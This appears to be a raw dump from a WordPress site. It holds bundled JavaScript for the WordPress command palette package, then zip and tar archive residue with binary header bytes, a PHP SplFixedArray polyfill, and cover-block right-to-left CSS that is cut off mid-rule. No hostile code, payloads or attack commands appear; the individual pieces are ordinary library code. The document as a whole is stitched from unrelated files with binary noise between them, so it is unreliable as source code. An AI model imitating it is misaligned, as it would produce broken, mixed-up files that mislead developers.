 * Reducer returning the command loaders
 *
 * @param {Object} state  Current state.
 * @param {Object} action Dispatched action.
 *
 * @return {Object} Updated state.
 */
function commandLoaders(state = {}, action) {
  switch (action.type) {
    case 'REGISTER_COMMAND_LOADER':
      return {
        ...state,
        [action.name]: {
          name: action.name,
          context: action.context,
          hook: action.hook
        }
      };
    case 'UNREGISTER_COMMAND_LOADER':
      {
        const {
          [action.name]: _,
          ...remainingState
        } = state;
        return remainingState;
      }
  }
  return state;
}

/**
 * Reducer returning the command palette open state.
 *
 * @param {Object} state  Current state.
 * @param {Object} action Dispatched action.
 *
 * @return {boolean} Updated state.
 */
function isOpen(state = false, action) {
  switch (action.type) {
    case 'OPEN':
      return true;
    case 'CLOSE':
      return false;
  }
  return state;
}

/**
 * Reducer returning the command palette's active context.
 *
 * @param {Object} state  Current state.
 * @param {Object} action Dispatched action.
 *
 * @return {boolean} Updated state.
 */
function context(state = 'root', action) {
  switch (action.type) {
    case 'SET_CONTEXT':
      return action.context;
  }
  return state;
}
const reducer = (0,external_wp_data_namespaceObject.combineReducers)({
  commands,
  commandLoaders,
  isOpen,
  context
});
/* harmony default export */ const store_reducer = (reducer);

;// ./node_modules/@wordpress/commands/build-module/store/actions.js
/** @typedef {import('@wordpress/keycodes').WPKeycodeModifier} WPKeycodeModifier */

/**
 * Configuration of a registered keyboard shortcut.
 *
 * @typedef {Object} WPCommandConfig
 *
 * @property {string}      name        Command name.
 * @property {string}      label       Command label.
 * @property {string=}     searchLabel Command search label.
 * @property {string=}     context     Command context.
 * @property {JSX.Element} icon        Command icon.
 * @property {Function}    callback    Command callback.
 * @property {boolean}     disabled    Whether to disable the command.
 */

/**
 * @typedef {(search: string) => WPCommandConfig[]} WPCommandLoaderHook hoo
 */

/**
 * Command loader config.
 *
 * @typedef {Object} WPCommandLoaderConfig
 *
 * @property {string}              name     Command loader name.
 * @property {string=}             context  Command loader context.
 * @property {WPCommandLoaderHook} hook     Command loader hook.
 * @property {boolean}             disabled Whether to disable the command loader.
 */

/**
 * Returns an action object used to register a new command.
 *
 * @param {WPCommandConfig} config Command config.
 *
 * @return {Object} action.
 */
function registerCommand(config) {
  return {
    type: 'REGISTER_COMMAND',
    ...config
  };
}

/**
 * Returns an action object used to unregister a command.
 *
 * @param {string} name Command name.
 *
 * @return {Object} action.
 */
function unregisterCommand(name) {
  return {
    type: 'UNREGISTER_COMMAND',
    name
  };
}

/**
 * Register command loader.
 *
 * @param {WPCommandLoaderConfig} config Command loader config.
 *
 * @return {Object} action.
 */
function registerCommandLoader(config) {
  return {
    type: 'REGISTER_COMMAND_LOADER',
    ...config
  };
}

/**
 * Unregister command loader hook.
 *
 * @param {string} name Command loader name.
 *
 * @return {Object} action.
 */
function unregisterCommandLoader(name) {
  return {
    type: 'UNREGISTER_COMMAND_LOADER',
    name
  };
}

/**
 * Opens the command palette.
 *
 * @return {Object} action.
 */
function actions_open() {
  return {
    type: 'OPEN'
  };
}

/**
 * Closes the command palette.
 *
 * @return {Object} action.
 */
function actions_close() {
  return {
    type: 'CLOSE'
  };
}

;// ./node_modules/@wordpress/commands/build-module/store/selectors.js
/**
 * WordPress dependencies
 */


/**
 * Returns the registered static commands.
 *
 * @param {Object}  state      State tree.
 * @param {boolean} contextual Whether to return only contextual commands.
 *
 * @return {import('./actions').WPCommandConfig[]} The list of registered commands.
 */
const getCommands = (0,external_wp_data_namespaceObject.createSelector)((state, contextual = false) => Object.values(state.commands).filter(command => {
  const isContextual = command.context && command.context === state.context;
  return contextual ? isContextual : !isContextual;
}), state => [state.commands, state.context]);

/**
 * Returns the registered command loaders.
 *
 * @param {Object}  state      State tree.
 * @param {boolean} contextual Whether to return only contextual command loaders.
 *
 * @return {import('./actions').WPCommandLoaderConfig[]} The list of registered command loaders.
 */
const getCommandLoaders = (0,external_wp_data_namespaceObject.createSelector)((state, contextual = false) => Object.values(state.commandLoaders).filter(loader => {
  const isContextual = loader.context && loader.context === state.context;
  return contextual ? isContextual : !isContextual;
}), state => [state.commandLoaders, state.context]);

/**
 * Returns whether the command palette is open.
 *
 * @param {Object} state State tree.
 *
 * @return {boolean} Returns whether the command palette is open.
 */
function selectors_isOpen(state) {
  return state.isOpen;
}

/**
 * Returns whether the active context.
 *
 * @param {Object} state State tree.
 *
 * @return {string} Context.
 */
function getContext(state) {
  return state.context;
}

;// ./node_modules/@wordpress/commands/build-module/store/private-actions.js
/**
 * Sets the active context.
 *
 * @param {string} context Context.
 *
 * @return {Object} action.
 */
function setContext(context) {
  return {
    type: 'SET_CONTEXT',
    context
  };
}

;// external ["wp","privateApis"]
const external_wp_privateApis_namespaceObject = window["wp"]["privateApis"];
;// ./node_modules/@wordpress/commands/build-module/lock-unlock.js
/**
 * WordPress dependencies
 */

const {
  lock,
  unlock
} = (0,external_wp_privateApis_namespaceObject.__dangerousOptInToUnstableAPIsOnlyForCoreModules)('I acknowledge private features are not for use in themes or plugins and doing so will break in the next version of WordPress.', '@wordpress/commands');

;// ./node_modules/@wordpress/commands/build-module/store/index.js
/**
 * WordPress dependencies
 */


/**
 * Internal dependencies
 */





const STORE_NAME = 'core/commands';

/**
 * Store definition for the commands namespace.
 *
 * @see https://github.com/WordPress/gutenberg/blob/HEAD/packages/data/README.md#createReduxStore
 *
 * @type {Object}
 *
 * @example
 * ```js
 * import { store as commandsStore } from '@wordpress/commands';
 * import { useDispatch } from '@wordpress/data';
 * ...
 * const { open: openCommandCenter } = useDispatch( commandsStore );
 * ```
 */
const store = (0,external_wp_data_namespaceObject.createReduxStore)(STORE_NAME, {
  reducer: store_reducer,
  actions: actions_namespaceObject,
  selectors: selectors_namespaceObject
});
(0,external_wp_data_namespaceObject.register)(store);
unlock(store).registerPrivateActions(private_actions_namespaceObject);

;// ./node_modules/@wordpress/commands/build-module/components/command-menu.js
/**
 * External dependencies
 */



/**
 * WordPress dependencies
 */







/**
 * Internal dependencies
 */


const inputLabel = (0,external_wp_i18n_namespaceObject.__)('Search commands and settings');
function CommandMenuLoader({
  name,
  search,
  hook,
  setLoader,
  close
}) {
  var _hook;
  const {
    isLoading,
    commands = []
  } = (_hook = hook({
    search
  })) !== null && _hook !== void 0 ? _hook : {};
  (0,external_wp_element_namespaceObject.useEffect)(() => {
    setLoader(name, isLoading);
  }, [setLoader, name, isLoading]);
  if (!commands.length) {
    return null;
  }
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_ReactJSXRuntime_namespaceObject.Fragment, {
    children: commands.map(command => {
      var _command$searchLabel;
      return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(He.Item, {
        value: (_command$searchLabel = command.searchLabel) !== null && _command$searchLabel !== void 0 ? _command$searchLabel : command.label,
        onSelect: () => command.callback({
          close
        }),
        id: command.name,
        children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalHStack, {
          alignment: "left",
          className: dist_clsx('commands-command-menu__item', {
            'has-icon': command.icon
          }),
          children: [command.icon && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(icon, {
            icon: command.icon
          }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("span", {
            children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.TextHighlight, {
              text: command.label,
              highlight: search
            })
          })]
        })
      }, command.name);
    })
  });
}
function CommandMenuLoaderWrapper({
  hook,
  search,
  setLoader,
  close
}) {
  // The "hook" prop is actually a custom React hook
  // so to avoid breaking the rules of hooks
  // the CommandMenuLoaderWrapper component need to be
  // remounted on each hook prop change
  // We use the key state to make sure we do that properly.
  const currentLoaderRef = (0,external_wp_element_namespaceObject.useRef)(hook);
  const [key, setKey] = (0,external_wp_element_namespaceObject.useState)(0);
  (0,external_wp_element_namespaceObject.useEffect)(() => {
    if (currentLoaderRef.current !== hook) {
      currentLoaderRef.current = hook;
      setKey(prevKey => prevKey + 1);
    }
  }, [hook]);
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(CommandMenuLoader, {
    hook: currentLoaderRef.current,
    search: search,
    setLoader: setLoader,
    close: close
  }, key);
}
function CommandMenuGroup({
  isContextual,
  search,
  setLoader,
  close
}) {
  const {
    commands,
    loaders
  } = (0,external_wp_data_namespaceObject.useSelect)(select => {
    const {
      getCommands,
      getCommandLoaders
    } = select(store);
    return {
      commands: getCommands(isContextual),
      loaders: getCommandLoaders(isContextual)
    };
  }, [isContextual]);
  if (!commands.length && !loaders.length) {
    return null;
  }
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(He.Group, {
    children: [commands.map(command => {
      var _command$searchLabel2;
      return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(He.Item, {
        value: (_command$searchLabel2 = command.searchLabel) !== null && _command$searchLabel2 !== void 0 ? _command$searchLabel2 : command.label,
        onSelect: () => command.callback({
          close
        }),
        id: command.name,
        children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalHStack, {
          alignment: "left",
          className: dist_clsx('commands-command-menu__item', {
            'has-icon': command.icon
          }),
          children: [command.icon && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(icon, {
            icon: command.icon
          }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("span", {
            children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.TextHighlight, {
              text: command.label,
              highlight: search
            })
          })]
        })
      }, command.name);
    }), loaders.map(loader => /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(CommandMenuLoaderWrapper, {
      hook: loader.hook,
      search: search,
      setLoader: setLoader,
      close: close
    }, loader.name))]
  });
}
function CommandInput({
  isOpen,
  search,
  setSearch
}) {
  const commandMenuInput = (0,external_wp_element_namespaceObject.useRef)();
  const _value = dist_D(state => state.value);
  const selectedItemId = (0,external_wp_element_namespaceObject.useMemo)(() => {
    const item = document.querySelector(`[cmdk-item=""][data-value="${_value}"]`);
    return item?.getAttribute('id');
  }, [_value]);
  (0,external_wp_element_namespaceObject.useEffect)(() => {
    // Focus the command palette input when mounting the modal.
    if (isOpen) {
      commandMenuInput.current.focus();
    }
  }, [isOpen]);
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(He.Input, {
    ref: commandMenuInput,
    value: search,
    onValueChange: setSearch,
    placeholder: inputLabel,
    "aria-activedescendant": selectedItemId,
    icon: search
  });
}

/**
 * @ignore
 */
function CommandMenu() {
  const {
    registerShortcut
  } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_keyboardShortcuts_namespaceObject.store);
  const [search, setSearch] = (0,external_wp_element_namespaceObject.useState)('');
  const isOpen = (0,external_wp_data_namespaceObject.useSelect)(select => select(store).isOpen(), []);
  const {
    open,
    close
  } = (0,external_wp_data_namespaceObject.useDispatch)(store);
  const [loaders, setLoaders] = (0,external_wp_element_namespaceObject.useState)({});
  (0,external_wp_element_namespaceObject.useEffect)(() => {
    registerShortcut({
      name: 'core/commands',
      category: 'global',
      description: (0,external_wp_i18n_namespaceObject.__)('Open the command palette.'),
      keyCombination: {
        modifier: 'primary',
        character: 'k'
      }
    });
  }, [registerShortcut]);
  (0,external_wp_keyboardShortcuts_namespaceObject.useShortcut)('core/commands', /** @type {import('react').KeyboardEventHandler} */
  event => {
    // Bails to avoid obscuring the effect of the preceding handler(s).
    if (event.defaultPrevented) {
      return;
    }
    event.preventDefault();
    if (isOpen) {
      close();
    } else {
      open();
    }
  }, {
    bindGlobal: true
  });
  const setLoader = (0,external_wp_element_namespaceObject.useCallback)((name, value) => setLoaders(current => ({
    ...current,
    [name]: value
  })), []);
  const closeAndReset = () => {
    setSearch('');
    close();
  };
  if (!isOpen) {
    return false;
  }
  const onKeyDown = event => {
    if (
    // Ignore keydowns from IMEs
    event.nativeEvent.isComposing ||
    // Workaround for Mac Safari where the final Enter/Backspace of an IME composition
    // is `isComposing=false`, even though it's technically still part of the composition.
    // These can only be detected by keyCode.
    event.keyCode === 229) {
      event.preventDefault();
    }
  };
  const isLoading = Object.values(loaders).some(Boolean);
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Modal, {
    className: "commands-command-menu",
    overlayClassName: "commands-command-menu__overlay",
    onRequestClose: closeAndReset,
    __experimentalHideHeader: true,
    contentLabel: (0,external_wp_i18n_namespaceObject.__)('Command palette'),
    children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", {
      className: "commands-command-menu__container",
      children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(He, {
        label: inputLabel,
        onKeyDown: onKeyDown,
        children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", {
          className: "commands-command-menu__header",
          children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(CommandInput, {
            search: search,
            setSearch: setSearch,
            isOpen: isOpen
          }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(icon, {
            icon: library_search
          })]
        }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(He.List, {
          label: (0,external_wp_i18n_namespaceObject.__)('Command suggestions'),
          children: [search && !isLoading && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(He.Empty, {
            children: (0,external_wp_i18n_namespaceObject.__)('No results found.')
          }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(CommandMenuGroup, {
            search: search,
            setLoader: setLoader,
            close: closeAndReset,
            isContextual: true
          }), search && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(CommandMenuGroup, {
            search: search,
            setLoader: setLoader,
            close: closeAndReset
          })]
        })]
      })
    })
  });
}

;// ./node_modules/@wordpress/commands/build-module/hooks/use-command-context.js
/**
 * WordPress dependencies
 */



/**
 * Internal dependencies
 */



/**
 * Sets the active context of the command palette
 *
 * @param {string} context Context to set.
 */
function useCommandContext(context) {
  const {
    getContext
  } = (0,external_wp_data_namespaceObject.useSelect)(store);
  const initialContext = (0,external_wp_element_namespaceObject.useRef)(getContext());
  const {
    setContext
  } = unlock((0,external_wp_data_namespaceObject.useDispatch)(store));
  (0,external_wp_element_namespaceObject.useEffect)(() => {
    setContext(context);
  }, [context, setContext]);

  // This effects ensures that on unmount, we restore the context
  // that was set before the component actually mounts.
  (0,external_wp_element_namespaceObject.useEffect)(() => {
    const initialContextRef = initialContext.current;
    return () => setContext(initialContextRef);
  }, [setContext]);
}

;// ./node_modules/@wordpress/commands/build-module/private-apis.js
/**
 * Internal dependencies
 */



/**
 * @private
 */
const privateApis = {};
lock(privateApis, {
  useCommandContext: useCommandContext
});

;// ./node_modules/@wordpress/commands/build-module/hooks/use-command.js
/**
 * WordPress dependencies
 */



/**
 * Internal dependencies
 */


/**
 * Attach a command to the command palette. Used for static commands.
 *
 * @param {import('../store/actions').WPCommandConfig} command command config.
 *
 * @example
 * ```js
 * import { useCommand } from '@wordpress/commands';
 * import { plus } from '@wordpress/icons';
 *
 * useCommand( {
 *     name: 'myplugin/my-command-name',
 *     label: __( 'Add new post' ),
 *	   icon: plus,
 *     callback: ({ close }) => {
 *         document.location.href = 'post-new.php';
 *         close();
 *     },
 * } );
 * ```
 */
function useCommand(command) {
  const {
    registerCommand,
    unregisterCommand
  } = (0,external_wp_data_namespaceObject.useDispatch)(store);
  const currentCallbackRef = (0,external_wp_element_namespaceObject.useRef)(command.callback);
  (0,external_wp_element_namespaceObject.useEffect)(() => {
    currentCallbackRef.current = command.callback;
  }, [command.callback]);
  (0,external_wp_element_namespaceObject.useEffect)(() => {
    if (command.disabled) {
      return;
    }
    registerCommand({
      name: command.name,
      context: command.context,
      label: command.label,
      searchLabel: command.searchLabel,
      icon: command.icon,
      callback: (...args) => currentCallbackRef.current(...args)
    });
    return () => {
      unregisterCommand(command.name);
    };
  }, [command.name, command.label, command.searchLabel, command.icon, command.context, command.disabled, registerCommand, unregisterCommand]);
}

;// ./node_modules/@wordpress/commands/build-module/hooks/use-command-loader.js
/**
 * WordPress dependencies
 */



/**
 * Internal dependencies
 */


/**
 * Attach a command loader to the command palette. Used for dynamic commands.
 *
 * @param {import('../store/actions').WPCommandLoaderConfig} loader command loader config.
 *
 * @example
 * ```js
 * import { useCommandLoader } from '@wordpress/commands';
 * import { post, page, layout, symbolFilled } from '@wordpress/icons';
 *
 * const icons = {
 *     post,
 *     page,
 *     wp_template: layout,
 *     wp_template_part: symbolFilled,
 * };
 *
 * function usePageSearchCommandLoader( { search } ) {
 *     // Retrieve the pages for the "search" term.
 *     const { records, isLoading } = useSelect( ( select ) => {
 *         const { getEntityRecords } = select( coreStore );
 *         const query = {
 *             search: !! search ? search : undefined,
 *             per_page: 10,
 *             orderby: search ? 'relevance' : 'date',
 *         };
 *         return {
 *             records: getEntityRecords( 'postType', 'page', query ),
 *             isLoading: ! select( coreStore ).hasFinishedResolution(
 *                 'getEntityRecords',
 *                 'postType', 'page', query ]
 *             ),
 *         };
 *     }, [ search ] );
 *
 *     // Create the commands.
 *     const commands = useMemo( () => {
 *         return ( records ?? [] ).slice( 0, 10 ).map( ( record ) => {
 *             return {
 *                 name: record.title?.rendered + ' ' + record.id,
 *                 label: record.title?.rendered
 *                     ? record.title?.rendered
 *                     : __( '(no title)' ),
 *                 icon: icons[ postType ],
 *                 callback: ( { close } ) => {
 *                     const args = {
 *                         postType,
 *                         postId: record.id,
 *                         ...extraArgs,
 *                     };
 *                     document.location = addQueryArgs( 'site-editor.php', args );
 *                     close();
 *                 },
 *             };
 *         } );
 *     }, [ records, history ] );
 *
 *     return {
 *         commands,
 *         isLoading,
 *     };
 * }
 *
 * useCommandLoader( {
 *     name: 'myplugin/page-search',
 *     hook: usePageSearchCommandLoader,
 * } );
 * ```
 */
function useCommandLoader(loader) {
  const {
    registerCommandLoader,
    unregisterCommandLoader
  } = (0,external_wp_data_namespaceObject.useDispatch)(store);
  (0,external_wp_element_namespaceObject.useEffect)(() => {
    if (loader.disabled) {
      return;
    }
    registerCommandLoader({
      name: loader.name,
      hook: loader.hook,
      context: loader.context
    });
    return () => {
      unregisterCommandLoader(loader.name);
    };
  }, [loader.name, loader.hook, loader.context, loader.disabled, registerCommandLoader, unregisterCommandLoader]);
}

;// ./node_modules/@wordpress/commands/build-module/index.js






(window.wp = window.wp || {}).commands = __webpack_exports__;
/******/ })()
;14338/PHP52.zip000064400000010274151024420100006541 0ustar00PK[d[k=�SplFixedArray.phpnu�[���<?php

if (class_exists('SplFixedArray')) {
    return;
}

/**
 * The SplFixedArray class provides the main functionalities of array. The
 * main differences between a SplFixedArray and a normal PHP array is that
 * the SplFixedArray is of fixed length and allows only integers within
 * the range as indexes. The advantage is that it allows a faster array
 * implementation.
 */
class SplFixedArray implements Iterator, ArrayAccess, Countable
{
    /** @var array<int, mixed> */
    private $internalArray = array();

    /** @var int $size */
    private $size = 0;

    /**
     * SplFixedArray constructor.
     * @param int $size
     */
    public function __construct($size = 0)
    {
        $this->size = $size;
        $this->internalArray = array();
    }

    /**
     * @return int
     */
    public function count()
    {
        return count($this->internalArray);
    }

    /**
     * @return array
     */
    public function toArray()
    {
        ksort($this->internalArray);
        return (array) $this->internalArray;
    }

    /**
     * @param array $array
     * @param bool $save_indexes
     * @return SplFixedArray
     * @psalm-suppress MixedAssignment
     */
    public static function fromArray(array $array, $save_indexes = true)
    {
        $self = new SplFixedArray(count($array));
        if($save_indexes) {
            foreach($array as $key => $value) {
                $self[(int) $key] = $value;
            }
        } else {
            $i = 0;
            foreach (array_values($array) as $value) {
                $self[$i] = $value;
                $i++;
            }
        }
        return $self;
    }

    /**
     * @return int
     */
    public function getSize()
    {
        return $this->size;
    }

    /**
     * @param int $size
     * @return bool
     */
    public function setSize($size)
    {
        $this->size = $size;
        return true;
    }

    /**
     * @param string|int $index
     * @return bool
     */
    public function offsetExists($index)
    {
        return array_key_exists((int) $index, $this->internalArray);
    }

    /**
     * @param string|int $index
     * @return mixed
     */
    public function offsetGet($index)
    {
        /** @psalm-suppress MixedReturnStatement */
        return $this->internalArray[(int) $index];
    }

    /**
     * @param string|int $index
     * @param mixed $newval
     * @psalm-suppress MixedAssignment
     */
    public function offsetSet($index, $newval)
    {
        $this->internalArray[(int) $index] = $newval;
    }

    /**
     * @param string|int $index
     */
    public function offsetUnset($index)
    {
        unset($this->internalArray[(int) $index]);
    }

    /**
     * Rewind iterator back to the start
     * @link https://php.net/manual/en/splfixedarray.rewind.php
     * @return void
     * @since 5.3.0
     */
    public function rewind()
    {
        reset($this->internalArray);
    }

    /**
     * Return current array entry
     * @link https://php.net/manual/en/splfixedarray.current.php
     * @return mixed The current element value.
     * @since 5.3.0
     */
    public function current()
    {
        /** @psalm-suppress MixedReturnStatement */
        return current($this->internalArray);
    }

    /**
     * Return current array index
     * @return int The current array index.
     */
    public function key()
    {
        return key($this->internalArray);
    }

    /**
     * @return void
     */
    public function next()
    {
        next($this->internalArray);
    }

    /**
     * Check whether the array contains more elements
     * @link https://php.net/manual/en/splfixedarray.valid.php
     * @return bool true if the array contains any more elements, false otherwise.
     */
    public function valid()
    {
        if (empty($this->internalArray)) {
            return false;
        }
        $result = next($this->internalArray) !== false;
        prev($this->internalArray);
        return $result;
    }

    /**
     * Do nothing.
     */
    public function __wakeup()
    {
        // NOP
    }
}PK[d[k=�SplFixedArray.phpnu�[���PKQU14338/style-rtl.css.tar000064400000147000151024420100010453 0ustar00home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/blocks/cover/style-rtl.css000064400000046340151024266220026427 0ustar00.wp-block-cover,.wp-block-cover-image{
  align-items:center;
  background-position:50%;
  box-sizing:border-box; direction:ltr;
  display:flex;
  justify-content:center;
  min-height:430px;
  overflow:hidden;
  overflow:clip;
  padding:1em;
  position:relative;
}
.wp-block-cover .has-background-dim:not([class*=-background-color]),.wp-block-cover-image .has-background-dim:not([class*=-background-color]),.wp-block-cover-image.has-background-dim:not([class*=-background-color]),.wp-block-cover.has-background-dim:not([class*=-background-color]){
  background-color:#000;
}
.wp-block-cover .has-background-dim.has-background-gradient,.wp-block-cover-image .has-background-dim.has-background-gradient{
  background-color:initial;
}
.wp-block-cover-image.has-background-dim:before,.wp-block-cover.has-background-dim:before{
  background-color:inherit;
  content:"";
}
.wp-block-cover .wp-block-cover__background,.wp-block-cover .wp-block-cover__gradient-background,.wp-block-cover-image .wp-block-cover__background,.wp-block-cover-image .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim:not(.has-background-gradient):before,.wp-block-cover.has-background-dim:not(.has-background-gradient):before{
  bottom:0;
  left:0;
  opacity:.5;
  position:absolute;
  right:0;
  top:0;
}
.wp-block-cover-image.has-background-dim.has-background-dim-10 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-10 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-10:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-10 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-10 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-10:not(.has-background-gradient):before{
  opacity:.1;
}
.wp-block-cover-image.has-background-dim.has-background-dim-20 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-20 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-20:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-20 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-20 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-20:not(.has-background-gradient):before{
  opacity:.2;
}
.wp-block-cover-image.has-background-dim.has-background-dim-30 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-30 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-30:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-30 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-30 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-30:not(.has-background-gradient):before{
  opacity:.3;
}
.wp-block-cover-image.has-background-dim.has-background-dim-40 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-40 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-40:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-40 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-40 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-40:not(.has-background-gradient):before{
  opacity:.4;
}
.wp-block-cover-image.has-background-dim.has-background-dim-50 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-50 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-50:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-50 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-50 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-50:not(.has-background-gradient):before{
  opacity:.5;
}
.wp-block-cover-image.has-background-dim.has-background-dim-60 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-60 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-60:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-60 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-60 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-60:not(.has-background-gradient):before{
  opacity:.6;
}
.wp-block-cover-image.has-background-dim.has-background-dim-70 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-70 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-70:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-70 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-70 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-70:not(.has-background-gradient):before{
  opacity:.7;
}
.wp-block-cover-image.has-background-dim.has-background-dim-80 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-80 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-80:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-80 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-80 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-80:not(.has-background-gradient):before{
  opacity:.8;
}
.wp-block-cover-image.has-background-dim.has-background-dim-90 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-90 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-90:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-90 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-90 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-90:not(.has-background-gradient):before{
  opacity:.9;
}
.wp-block-cover-image.has-background-dim.has-background-dim-100 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-100 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-100:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-100 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-100 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-100:not(.has-background-gradient):before{
  opacity:1;
}
.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-0,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-0,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-0,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-0{
  opacity:0;
}
.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-10,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-10,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-10,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-10{
  opacity:.1;
}
.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-20,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-20,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-20,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-20{
  opacity:.2;
}
.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-30,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-30,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-30,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-30{
  opacity:.3;
}
.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-40,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-40,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-40,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-40{
  opacity:.4;
}
.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-50,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-50,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-50,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-50{
